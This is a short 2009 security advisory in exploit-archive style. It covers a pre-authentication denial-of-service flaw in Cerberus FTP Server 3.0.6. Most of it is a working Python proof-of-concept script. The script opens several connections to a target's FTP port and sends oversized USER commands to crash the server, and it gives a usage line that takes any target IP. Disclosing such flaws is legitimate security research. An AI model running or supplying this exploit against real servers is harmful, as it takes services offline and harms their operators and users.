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Application: Cerberus FTP 3.0.6

Platforms: Windows XP Professional SP2
Windows Vista SP1

crash: YES

Exploitation: Remote DoS

Date: 2009-09-30

Author: Francis Provencher (Protek Research Lab's)

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1) Introduction
2) Technical details
3) The Code

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===============
1) Introduction

Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

(from Cerberus FTP server website)

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============================
2) Technical details

Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28

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===========
3) The Code

Proof of concept DoS code;

#!/usr/bin/env python

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Cerberus FTP Server Denial of Service Exploit (Pre Auth)

Found By: Francis Provencher (Protek Research Lab's)

Tested On: Windows XPSP2

Usage: ./script <Target IP>

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import socket, sys

def banner():
print "\n##################################################################"
print "# #"
print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
print "# Francis Provencher (Protek Researh Lab's) #"
print "# #"
print "##################################################################\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);

buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );

try:
banner();
print ("[] Connecting to target…");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[] Sending evil stuff…");
s1.send("USER " + buff1 + "\r\n");
s2.send("USER " + buff2 + "\r\n");
s3.send("USER " + buff3 + "\r\n");
s4.send("USER " + buff1 + "\r\n");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();

except:
print ("[-] Could not connect to server.");

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(PRL-2009-09)

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